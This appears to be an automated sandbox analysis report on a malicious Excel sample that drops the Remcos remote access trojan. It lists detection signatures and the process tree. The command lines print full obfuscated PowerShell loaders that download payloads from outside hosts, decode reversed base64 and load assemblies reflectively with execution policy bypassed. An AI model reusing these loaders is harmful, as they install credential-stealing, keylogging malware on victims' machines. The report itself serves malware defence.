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Windows
Analysis Report
pi-77159.xls
Overview
General Information
| Sample name: | pi-77159.xls |
| Analysis ID: | 1559540 |
| MD5: | 65fbcc8da027e55f200e662f94037339 |
| SHA1: | a45ff70dd8f364f4d3f0d4be15430fd288bdbbf7 |
| SHA256: | cc01815d54a289d110af781b87dea4c4625d068f6a4f13aaa39d25fd723c136d |
| Tags: | xlsuser-abuse_ch |
| Infos: |   |
 | |
Detection
Remcos, HTMLPhisher
| Score: | 100 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Antivirus / Scanner detection for submitted sample
Antivirus detection for dropped file
Contains functionality to bypass UAC (CMSTPLUA)
Detected Remcos RAT
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Sigma detected: Remcos
Suricata IDS alerts for network traffic
Yara detected HtmlPhish44
Yara detected Powershell download and execute
Yara detected Remcos RAT
Yara detected UAC Bypass using CMSTP
Bypasses PowerShell execution policy
C2 URLs / IPs found in malware configuration
Contains functionality to register a low level keyboard hook
Contains functionality to steal Chrome passwords or cookies
Contains functionality to steal Firefox passwords or cookies
Contains functionalty to change the wallpaper
Delayed program exit found
Document exploit detected (process start blacklist hit)
Excel sheet contains many unusual embedded objects
Injects a PE file into a foreign processes
Installs a global keyboard hook
Installs new ROOT certificates
Machine Learning detection for sample
Microsoft Office drops suspicious files
Obfuscated command line found
PowerShell case anomaly found
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Dot net compiler compiles file from suspicious location
Sigma detected: File With Uncommon Extension Created By An Office Application
Sigma detected: HackTool - CrackMapExec PowerShell Obfuscation
Sigma detected: Potential PowerShell Command Line Obfuscation
Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands
Sigma detected: Potentially Suspicious PowerShell Child Processes
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Suspicious MSHTA Child Process
Sigma detected: Suspicious Microsoft Office Child Process
Sigma detected: Suspicious PowerShell Parameter Substring
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Uses dynamic DNS services
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Compiles C# or VB.Net code
Contains functionality for execution timing, often used to detect debuggers
Contains functionality for read data from the clipboard
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to download and launch executables
Contains functionality to dynamically determine API calls
Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)
Contains functionality to enumerate running services
Contains functionality to launch a control a shell (cmd.exe)
Contains functionality to modify clipboard data
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a window with clipboard capturing capabilities
Detected potential crypto function
Document contains embedded VBA macros
Document embeds suspicious OLE2 link
Document misses a certain OLE stream usually present in this Microsoft Office document type
Drops PE files
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Searches for the Microsoft Outlook file path
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: Dynamic .NET Compilation Via Csc.EXE
Sigma detected: Excel Network Connections
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: Suspicious Office Outbound Connections
Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation
Sigma detected: Usage Of Web Request Commands And Cmdlets
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Suricata IDS alerts with low severity for network traffic
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses insecure TLS / SSL version for HTTPS connection
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara detected Keylogger Generic
Yara signature match
Classification
- System is w7x64
EXCEL.EXE (PID: 3552 cmdline: "C:\Progra m Files\Mi crosoft Of fice\Offic e14\EXCEL. EXE" /auto mation -Em bedding MD5: D53B85E21886D2AF9815C377537BCAC3) 
mshta.exe (PID: 3844 cmdline: C:\Windows \System32\ mshta.exe -Embedding MD5: 95828D670CFD3B16EE188168E083C3C5) 
powershell.exe (PID: 3976 cmdline: "C:\Window s\System32 \WiNdowsPo wErshELL\V 1.0\PoWers HeLl.exe" "POWerSHel L.eXE -Ex bYPAsS -NOp -W 1 -C dEvICeCr edEntIalde pLoYmENT ; INVokE- EXpreSSIOn ($(iNVOke- eXPResSIon ('[systEM. teXt.Encod ing]'+[cHA R]58+[CHaR ]0X3A+'uTF 8.GeTsTrin g([SySTEM. CoNveRT]'+ [CHar]58+[ cHar]0X3a+ 'frombASe6 4StRing('+ [chAr]34+' JDV0ZiAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC A9ICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgIGFk ZC10eXBlIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgIC1tZW1C ZXJEZWZJbk lUaW9OICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICdbRGxsSW 1wb3J0KCJ1 ckxNT24uZE xMIiwgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg Q2hhclNldC A9IENoYXJT ZXQuVW5pY2 9kZSldcHVi bGljIHN0YX RpYyBleHRl cm4gSW50UH RyIFVSTERv d25sb2FkVG 9GaWxlKElu dFB0ciAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC BUY2tWTGos c3RyaW5nIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgIFZJVixz dHJpbmcgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgRVhsblBK cnBOUWMsdW ludCAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICBi RWp6LEludF B0ciAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICB5 WlZTc0RNZG RPKTsnICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg IC1OYW1FIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICJpQXl3 bmkiICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC 1OQU1lU1Bh Q2UgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgSX JSeiAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAt UGFzc1Rocn U7ICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICQ1 dGY6OlVSTE Rvd25sb2Fk VG9GaWxlKD AsImh0dHA6 Ly8xOTIuMy 4yMjAuMjkv NDUvc2VlaG F2aW5nZmFj aW5nYmVzdH RoaWduc3Rv Z2V0bWViYW Nrd2l0aGVu dGlyZXRpbW VncmVhdC50 SUYiLCIkRU 5WOkFQUERB VEFcc2VlaG F2aW5nZmFj aW5nYmVzdH RoaWduc3Rv Z2V0bWViYW Nrd2l0aGVu dGlyZXRpbW VncmUudmJT IiwwLDApO3 N0QXJULXNs RUVwKDMpO0 lFWCAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAi JEVOdjpBUF BEQVRBXHNl ZWhhdmluZ2 ZhY2luZ2Jl c3R0aGlnbn N0b2dldG1l YmFja3dpdG hlbnRpcmV0 aW1lZ3JlLn ZiUyI='+[c haR]34+')) ')))" MD5: A575A7610E5F003CC36DF39E07C4BA7D) - powershell.exe (PID: 3112 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -Ex bYPAsS -NOp -W 1 -C dEvICe CredEntIal depLoYmENT MD5: A575A7610E5F003CC36DF39E07C4BA7D) 
csc.exe (PID: 3320 cmdline: "C:\Window s\Microsof t.NET\Fram ework64\v4 .0.30319\c sc.exe" /n oconfig /f ullpaths @ "C:\Users\ user\AppDa ta\Local\T emp\qvgum1 lr\qvgum1l r.cmdline" MD5: 23EE3D381CFE3B9F6229483E2CE2F9E1) - cvtres.exe (PID: 3308 cmdline:
C:\Windows \Microsoft .NET\Frame work64\v4. 0.30319\cv tres.exe / NOLOGO /RE ADONLY /MA CHINE:IX86 "/OUT:C:\ Users\user \AppData\L ocal\Temp\ RESB76D.tm p" "c:\Use rs\user\Ap pData\Loca l\Temp\qvg um1lr\CSC3 E3F8E93A6C D4B728B902 7B482B0AFC 2.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950) 
wscript.exe (PID: 892 cmdline: "C:\Window s\System32 \WScript.e xe" "C:\Us ers\user\A ppData\Roa ming\seeha vingfacing bestthigns togetmebac kwithentir etimegre.v bS" MD5: 045451FA238A75305CC26AC982472367) - powershell.exe (PID: 1368 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -command $ Codigo = ' JiAoICR2ZX JCb1NlcHJF RmVyZU5DZS 5UT3N0cklu RygpWzEsM1 0rJ1gnLUpP aU4nJykoKC dvcGlpbWFn ZVVybCA9IG lmZGh0dHBz Oi8vMTAxNy 5maWxlbWFp bC5jb20vYX BpL2ZpbGUv Z2V0P2ZpbG VrZXk9MkFh X2JXbzlSZX U0JysnNXQ3 QlUxa1Znc2 Q5cFQ5cGdT U2x2U3RHcm 5USUNmRmgn KydtVEtqM0 xDNlNRdElj T2NfVDM1dy Zwa192aWQ9 JysnZmQ0Zj YxNGJiMjA5 YzYyYzE3Mz A5NDUxNzZh MDkwNGYgaW ZkO29waXdl YkNsaWVudC A9IE5ldy1P YmplY3QgU3 lzdGVtLk5l dC5XZWJDbG llbnQ7b3Bp aW1hZ2VCeX RlcyA9IG9w aXdlYkNsaW VudC5Eb3du bG9hZERhdG Eob3BpaW1h Z2VVcmwpO2 9waWltYWdl VGV4dCA9IF tTeXN0ZW0u VGV4dC5Fbm NvZGluZ106 OlVURjguR2 V0U3RyaW5n KG8nKydwaW ltYWdlQnl0 ZXMpO29waX N0YXJ0Rmxh ZyA9IGlmZD w8QkFTRTY0 X1NUQVJUPj 5pZmQ7b3Bp ZW5kRmxhZy A9IGlmZDw8 QkFTRTY0X0 VORD4+aWZk O29waXN0YX J0SW5kZXgg PSBvcGlpbW FnZVRleHQu SW5kZXhPZi hvJysncGlz JysndGFydE ZsYWcpO29w aWVuZEluZG V4ID0gb3Bp aW1hZ2VUZX h0LkluZGV4 T2Yob3BpZW 5kRmxhZyk7 b3Bpc3Rhcn RJbmRleCAt JysnZ2UgMC AtYW5kIG9w aWVuZEluZG V4IC1ndCBv cGlzdGFydE luZGUnKyd4 O29waXN0YX J0SW5kZXgg Kz0gb3Bpc3 RhcnRGbGFn Lkxlbmd0aD tvcCcrJ2li YXNlNjRMZW 5ndGggPSBv cGllbmRJbm RleCAtIG9w aXN0YXJ0SW 5kZXg7b3Bp YmFzZTY0Q2 9tbWFuZCA9 IG9waWltYW dlVGV4dC5T dWJzdCcrJ3 Jpbmcob3Bp c3RhcnQnKy dJbmRleCwg b3BpYmFzZT Y0TGVuZ3Ro KTtvcGliYX NlNjRSZXZl cnNlZCA9IC 1qbycrJ2lu IChvcGliYX NlNjRDb21t YW5kLlRvQ2 hhckFycmF5 KCkgMFEnKy dsIEZvckVh Y2gtT2JqZW N0IHsgb3Bp XyB9KVsnKy ctMS4uLShv cGliYXNlNj RDb21tYW5k Lkxlbmd0aC ldO29waWNv bW1hbmRCeX RlcyA9IFtT eScrJ3N0ZW 0uQ29udicr J2UnKydydF 06OkZyb21C YXNlJysnNj RTdHJpbmco b3BpYmFzZT Y0UmV2ZXJz ZWQpO29waW xvYWRlZEFz c2VtYmx5ID 0gW1N5c3Rl bS5SZWZsZW N0aW8nKydu LkFzc2VtYm x5XTo6TG9h ZChvcGljb2 1tYW5kQnl0 ZXMpO29waX ZhaU1ldGhv ZCA9IFtkbm xpYi5JTy5I b21lXS5HZX RNZXRob2Qo aWYnKydkVk FJaWZkJysn KTtvcGl2YW lNZXRob2Qu SW52b2tlKG 9waW51bGws IEAoaWZkdH h0LkdERFJE SC81NC85Mi 4nKycwMjIu My4yOTEvLz pwdHRoaWZk LCBpZmRkZX NhdGl2YWRv aWZkLCBpZm RkZXNhdGl2 YWRvaWZkLC BpZmRkZXNh dGl2YWRvaW ZkLCBpZmRD YXNQb2xpZm QsIGlmZGRl c2F0aXYnKy dhZG8nKydp ZmQsIGlmZG Rlc2F0Jysn aXZhZG9pZm QsaWZkZGVz YXRpdmFkb2 lmZCxpZmRk ZXNhdGl2YW RvaWZkLGlm ZGRlc2F0aX ZhZG9pZmQs aWZkZGVzYX RpdmFkb2lm ZCxpZmRkZX NhdCcrJ2l2 YWRvaWZkLG lmZDFpZmQs aWZkZGVzYX RpdmFkb2lm JysnZCkpOy cpLnJlUExB Q2UoJzBRbC csW1N0cmlu R11bQ2hBcl 0xMjQpLnJl UExBQ2UoJ2 lmZCcsW1N0 cmluR11bQ2 hBcl0zOSku cmVQTEFDZS goW0NoQXJd MTExK1tDaE FyXTExMitb Q2hBcl0xMD UpLCckJykp ';$OWjuxd = [system. Text.encod ing]::UTF8 .GetString ([system.C onvert]::F rombase64S tring($cod igo));powe rshell.exe -windowst yle hidden -executio npolicy by pass -NoPr ofile -com mand $OWju xD MD5: A575A7610E5F003CC36DF39E07C4BA7D) - powershell.exe (PID: 1712 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -windowsty le hidden -execution policy byp ass -NoPro file -comm and "& ( $ verBoSeprE FereNCe.TO strInG()[1 ,3]+'X'-JO iN'')(('op iimageUrl = ifdhttps ://1017.fi lemail.com /api/file/ get?fileke y=2Aa_bWo9 Reu4'+'5t7 BU1kVgsd9p T9pgSSlvSt GrnTICfFh' +'mTKj3LC6 SQtIcOc_T3 5w&pk_vid= '+'fd4f614 bb209c62c1 730945176a 0904f ifd; opiwebClie nt = New-O bject Syst em.Net.Web Client;opi imageBytes = opiwebC lient.Down loadData(o piimageUrl );opiimage Text = [Sy stem.Text. Encoding]: :UTF8.GetS tring(o'+' piimageByt es);opista rtFlag = i fd<<BASE64 _START>>if d;opiendFl ag = ifd<< BASE64_END >>ifd;opis tartIndex = opiimage Text.Index Of(o'+'pis '+'tartFla g);opiendI ndex = opi imageText. IndexOf(op iendFlag); opistartIn dex -'+'ge 0 -and op iendIndex -gt opista rtInde'+'x ;opistartI ndex += op istartFlag .Length;op '+'ibase64 Length = o piendIndex - opistar tIndex;opi base64Comm and = opii mageText.S ubst'+'rin g(opistart '+'Index, opibase64L ength);opi base64Reve rsed = -jo '+'in (opi base64Comm and.ToChar Array() 0Q '+'l ForEa ch-Object { opi_ })[ '+'-1..-(o pibase64Co mmand.Leng th)];opico mmandBytes = [Sy'+'s tem.Conv'+ 'e'+'rt]:: FromBase'+ '64String( opibase64R eversed);o piloadedAs sembly = [ System.Ref lectio'+'n .Assembly] ::Load(opi commandByt es);opivai Method = [ dnlib.IO.H ome].GetMe thod(if'+' dVAIifd'+' );opivaiMe thod.Invok e(opinull, @(ifdtxt. GDDRDH/54/ 92.'+'022. 3.291//:pt thifd, ifd desativado ifd, ifdde sativadoif d, ifddesa tivadoifd, ifdCasPol ifd, ifdde sativ'+'ad o'+'ifd, i fddesat'+' ivadoifd,i fddesativa doifd,ifdd esativadoi fd,ifddesa tivadoifd, ifddesativ adoifd,ifd desat'+'iv adoifd,ifd 1ifd,ifdde sativadoif '+'d));'). rePLACe('0 Ql',[Strin G][ChAr]12 4).rePLACe ('ifd',[St rinG][ChAr ]39).rePLA Ce(([ChAr] 111+[ChAr] 112+[ChAr] 105),'$')) " MD5: A575A7610E5F003CC36DF39E07C4BA7D) - CasPol.exe (PID: 800 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\Cas Pol.exe" MD5: 8AD6D0D81FEC2856B8DCABEE8D678F61) 
AcroRd32.exe (PID: 808 cmdline: "C:\Progra m Files (x 86)\Adobe\ Acrobat Re ader DC\Re ader\AcroR d32.exe" - Embedding MD5: 2F8D93826B8CBF9290BC57535C7A6817) - mshta.exe (PID: 3652 cmdline:
C:\Windows \System32\ mshta.exe -Embedding MD5: 95828D670CFD3B16EE188168E083C3C5) - powershell.exe (PID: 3784 cmdline:
"C:\Window s\System32 \WiNdowsPo wErshELL\V 1.0\PoWers HeLl.exe" "POWerSHel L.eXE -Ex bYPAsS -NOp -W 1 -C dEvICeCr edEntIalde pLoYmENT ; INVokE- EXpreSSIOn ($(iNVOke- eXPResSIon ('[systEM. teXt.Encod ing]'+[cHA R]58+[CHaR ]0X3A+'uTF 8.GeTsTrin g([SySTEM. CoNveRT]'+ [CHar]58+[ cHar]0X3a+ 'frombASe6 4StRing('+ [chAr]34+' JDV0ZiAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC A9ICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgIGFk ZC10eXBlIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgIC1tZW1C ZXJEZWZJbk lUaW9OICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICdbRGxsSW 1wb3J0KCJ1 ckxNT24uZE xMIiwgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg Q2hhclNldC A9IENoYXJT ZXQuVW5pY2 9kZSldcHVi bGljIHN0YX RpYyBleHRl cm4gSW50UH RyIFVSTERv d25sb2FkVG 9GaWxlKElu dFB0ciAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC BUY2tWTGos c3RyaW5nIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgIFZJVixz dHJpbmcgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgRVhsblBK cnBOUWMsdW ludCAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICBi RWp6LEludF B0ciAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICB5 WlZTc0RNZG RPKTsnICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg IC1OYW1FIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICJpQXl3 bmkiICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC 1OQU1lU1Bh Q2UgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgSX JSeiAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAt UGFzc1Rocn U7ICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICQ1 dGY6OlVSTE Rvd25sb2Fk VG9GaWxlKD AsImh0dHA6 Ly8xOTIuMy 4yMjAuMjkv NDUvc2VlaG F2aW5nZmFj aW5nYmVzdH RoaWduc3Rv Z2V0bWViYW Nrd2l0aGVu dGlyZXRpbW VncmVhdC50 SUYiLCIkRU 5WOkFQUERB VEFcc2VlaG F2aW5nZmFj aW5nYmVzdH RoaWduc3Rv Z2V0bWViYW Nrd2l0aGVu dGlyZXRpbW VncmUudmJT IiwwLDApO3 N0QXJULXNs RUVwKDMpO0 lFWCAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAi JEVOdjpBUF BEQVRBXHNl ZWhhdmluZ2 ZhY2luZ2Jl c3R0aGlnbn N0b2dldG1l YmFja3dpdG hlbnRpcmV0 aW1lZ3JlLn ZiUyI='+[c haR]34+')) ')))" MD5: A575A7610E5F003CC36DF39E07C4BA7D) - powershell.exe (PID: 3952 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -Ex bYPAsS -NOp -W 1 -C dEvICe CredEntIal depLoYmENT MD5: A575A7610E5F003CC36DF39E07C4BA7D) - csc.exe (PID: 3192 cmdline:
"C:\Window s\Microsof t.NET\Fram ework64\v4 .0.30319\c sc.exe" /n oconfig /f ullpaths @ "C:\Users\ user\AppDa ta\Local\T emp\xijxxv at\xijxxva t.cmdline" MD5: 23EE3D381CFE3B9F6229483E2CE2F9E1) - cvtres.exe (PID: 3128 cmdline:
C:\Windows \Microsoft .NET\Frame work64\v4. 0.30319\cv tres.exe / NOLOGO /RE ADONLY /MA CHINE:IX86 "/OUT:C:\ Users\user \AppData\L ocal\Temp\ RES1F34.tm p" "c:\Use rs\user\Ap pData\Loca l\Temp\xij xxvat\CSCB 7FD98358CD 1456E9F7F6 90FA2FF526 .TMP" MD5: C877CBB966EA5939AA2A17B6A5160950) - wscript.exe (PID: 1080 cmdline:
"C:\Window s\System32 \WScript.e xe" "C:\Us ers\user\A ppData\Roa ming\seeha vingfacing bestthigns togetmebac kwithentir etimegre.v bS" MD5: 045451FA238A75305CC26AC982472367) - powershell.exe (PID: 1940 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -command $ Codigo = ' JiAoICR2ZX JCb1NlcHJF RmVyZU5DZS 5UT3N0cklu RygpWzEsM1 0rJ1gnLUpP aU4nJykoKC dvcGlpbWFn ZVVybCA9IG lmZGh0dHBz Oi8vMTAxNy 5maWxlbWFp bC5jb20vYX BpL2ZpbGUv Z2V0P2ZpbG VrZXk9MkFh X2JXbzlSZX U0JysnNXQ3 QlUxa1Znc2 Q5cFQ5cGdT U2x2U3RHcm 5USUNmRmgn KydtVEtqM0 xDNlNRdElj T2NfVDM1dy Zwa192aWQ9 JysnZmQ0Zj YxNGJiMjA5 YzYyYzE3Mz A5NDUxNzZh MDkwNGYgaW ZkO29waXdl YkNsaWVudC A9IE5ldy1P YmplY3QgU3 lzdGVtLk5l dC5XZWJDbG llbnQ7b3Bp aW1hZ2VCeX RlcyA9IG9w aXdlYkNsaW VudC5Eb3du bG9hZERhdG Eob3BpaW1h Z2VVcmwpO2 9waWltYWdl VGV4dCA9IF tTeXN0ZW0u VGV4dC5Fbm NvZGluZ106 OlVURjguR2 V0U3RyaW5n KG8nKydwaW ltYWdlQnl0 ZXMpO29waX N0YXJ0Rmxh ZyA9IGlmZD w8QkFTRTY0 X1NUQVJUPj 5pZmQ7b3Bp ZW5kRmxhZy A9IGlmZDw8 QkFTRTY0X0 VORD4+aWZk O29waXN0YX J0SW5kZXgg PSBvcGlpbW FnZVRleHQu SW5kZXhPZi hvJysncGlz JysndGFydE ZsYWcpO29w aWVuZEluZG V4ID0gb3Bp aW1hZ2VUZX h0LkluZGV4 T2Yob3BpZW 5kRmxhZyk7 b3Bpc3Rhcn RJbmRleCAt JysnZ2UgMC AtYW5kIG9w aWVuZEluZG V4IC1ndCBv cGlzdGFydE luZGUnKyd4 O29waXN0YX J0SW5kZXgg Kz0gb3Bpc3 RhcnRGbGFn Lkxlbmd0aD tvcCcrJ2li YXNlNjRMZW 5ndGggPSBv cGllbmRJbm RleCAtIG9w aXN0YXJ0SW 5kZXg7b3Bp YmFzZTY0Q2 9tbWFuZCA9 IG9waWltYW dlVGV4dC5T dWJzdCcrJ3 Jpbmcob3Bp c3RhcnQnKy dJbmRleCwg b3BpYmFzZT Y0TGVuZ3Ro KTtvcGliYX NlNjRSZXZl cnNlZCA9IC 1qbycrJ2lu IChvcGliYX NlNjRDb21t YW5kLlRvQ2 hhckFycmF5 KCkgMFEnKy dsIEZvckVh Y2gtT2JqZW N0IHsgb3Bp XyB9KVsnKy ctMS4uLShv cGliYXNlNj RDb21tYW5k Lkxlbmd0aC ldO29waWNv bW1hbmRCeX RlcyA9IFtT eScrJ3N0ZW 0uQ29udicr J2UnKydydF 06OkZyb21C YXNlJysnNj RTdHJpbmco b3BpYmFzZT Y0UmV2ZXJz ZWQpO29waW xvYWRlZEFz c2VtYmx5ID 0gW1N5c3Rl bS5SZWZsZW N0aW8nKydu LkFzc2VtYm x5XTo6TG9h ZChvcGljb2 1tYW5kQnl0 ZXMpO29waX ZhaU1ldGhv ZCA9IFtkbm xpYi5JTy5I b21lXS5HZX RNZXRob2Qo aWYnKydkVk FJaWZkJysn KTtvcGl2YW lNZXRob2Qu SW52b2tlKG 9waW51bGws IEAoaWZkdH h0LkdERFJE SC81NC85Mi 4nKycwMjIu My4yOTEvLz pwdHRoaWZk LCBpZmRkZX NhdGl2YWRv aWZkLCBpZm RkZXNhdGl2 YWRvaWZkLC BpZmRkZXNh dGl2YWRvaW ZkLCBpZmRD YXNQb2xpZm QsIGlmZGRl c2F0aXYnKy dhZG8nKydp ZmQsIGlmZG Rlc2F0Jysn aXZhZG9pZm QsaWZkZGVz YXRpdmFkb2 lmZCxpZmRk ZXNhdGl2YW RvaWZkLGlm ZGRlc2F0aX ZhZG9pZmQs aWZkZGVzYX RpdmFkb2lm ZCxpZmRkZX NhdCcrJ2l2 YWRvaWZkLG lmZDFpZmQs aWZkZGVzYX RpdmFkb2lm JysnZCkpOy cpLnJlUExB Q2UoJzBRbC csW1N0cmlu R11bQ2hBcl 0xMjQpLnJl UExBQ2UoJ2 lmZCcsW1N0 cmluR11bQ2 hBcl0zOSku cmVQTEFDZS goW0NoQXJd MTExK1tDaE FyXTExMitb Q2hBcl0xMD UpLCckJykp ';$OWjuxd = [system. Text.encod ing]::UTF8 .GetString ([system.C onvert]::F rombase64S tring($cod igo));powe rshell.exe -windowst yle hidden -executio npolicy by pass -NoPr ofile -com mand $OWju xD MD5: A575A7610E5F003CC36DF39E07C4BA7D) - powershell.exe (PID: 2144 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -windowsty le hidden -execution policy byp ass -NoPro file -comm and "& ( $ verBoSeprE FereNCe.TO strInG()[1 ,3]+'X'-JO iN'')(('op iimageUrl = ifdhttps ://1017.fi lemail.com /api/file/ get?fileke y=2Aa_bWo9 Reu4'+'5t7 BU1kVgsd9p T9pgSSlvSt GrnTICfFh' +'mTKj3LC6 SQtIcOc_T3 5w&pk_vid= '+'fd4f614 bb209c62c1 730945176a 0904f ifd; opiwebClie nt = New-O bject Syst em.Net.Web Client;opi imageBytes = opiwebC lient.Down loadData(o piimageUrl );opiimage Text = [Sy stem.Text. Encoding]: :UTF8.GetS tring(o'+' piimageByt es);opista rtFlag = i fd<<BASE64 _START>>if d;opiendFl ag = ifd<< BASE64_END >>ifd;opis tartIndex = opiimage Text.Index Of(o'+'pis '+'tartFla g);opiendI ndex = opi imageText. IndexOf(op iendFlag); opistartIn dex -'+'ge 0 -and op iendIndex -gt opista rtInde'+'x ;opistartI ndex += op istartFlag .Length;op '+'ibase64 Length = o piendIndex - opistar tIndex;opi base64Comm and = opii mageText.S ubst'+'rin g(opistart '+'Index, opibase64L ength);opi base64Reve rsed = -jo '+'in (opi base64Comm and.ToChar Array() 0Q '+'l ForEa ch-Object { opi_ })[ '+'-1..-(o pibase64Co mmand.Leng th)];opico mmandBytes = [Sy'+'s tem.Conv'+ 'e'+'rt]:: FromBase'+ '64String( opibase64R eversed);o piloadedAs sembly = [ System.Ref lectio'+'n .Assembly] ::Load(opi commandByt es);opivai Method = [ dnlib.IO.H ome].GetMe thod(if'+' dVAIifd'+' );opivaiMe thod.Invok e(opinull, @(ifdtxt. GDDRDH/54/ 92.'+'022. 3.291//:pt thifd, ifd desativado ifd, ifdde sativadoif d, ifddesa tivadoifd, ifdCasPol ifd, ifdde sativ'+'ad o'+'ifd, i fddesat'+' ivadoifd,i fddesativa doifd,ifdd esativadoi fd,ifddesa tivadoifd, ifddesativ adoifd,ifd desat'+'iv adoifd,ifd 1ifd,ifdde sativadoif '+'d));'). rePLACe('0 Ql',[Strin G][ChAr]12 4).rePLACe ('ifd',[St rinG][ChAr ]39).rePLA Ce(([ChAr] 111+[ChAr] 112+[ChAr] 105),'$')) " MD5: A575A7610E5F003CC36DF39E07C4BA7D) - CasPol.exe (PID: 1260 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\Cas Pol.exe" MD5: 8AD6D0D81FEC2856B8DCABEE8D678F61)
- cleanup
| Name | Description | Attribution | Blogpost URLs | Link |
|---|---|---|---|---|
| Remcos, RemcosRAT | Remcos (acronym of Remote Control & Surveillance Software) is a commercial Remote Access Tool to remotely control computers.Remcos is advertised as legitimate software which can be used for surveillance and penetration testing purposes, but has been used in numerous hacking campaigns.Remcos, once installed, opens a backdoor on the computer, granting full access to the remote user.Remcos is developed by the cybersecurity company BreakingSecurity. |
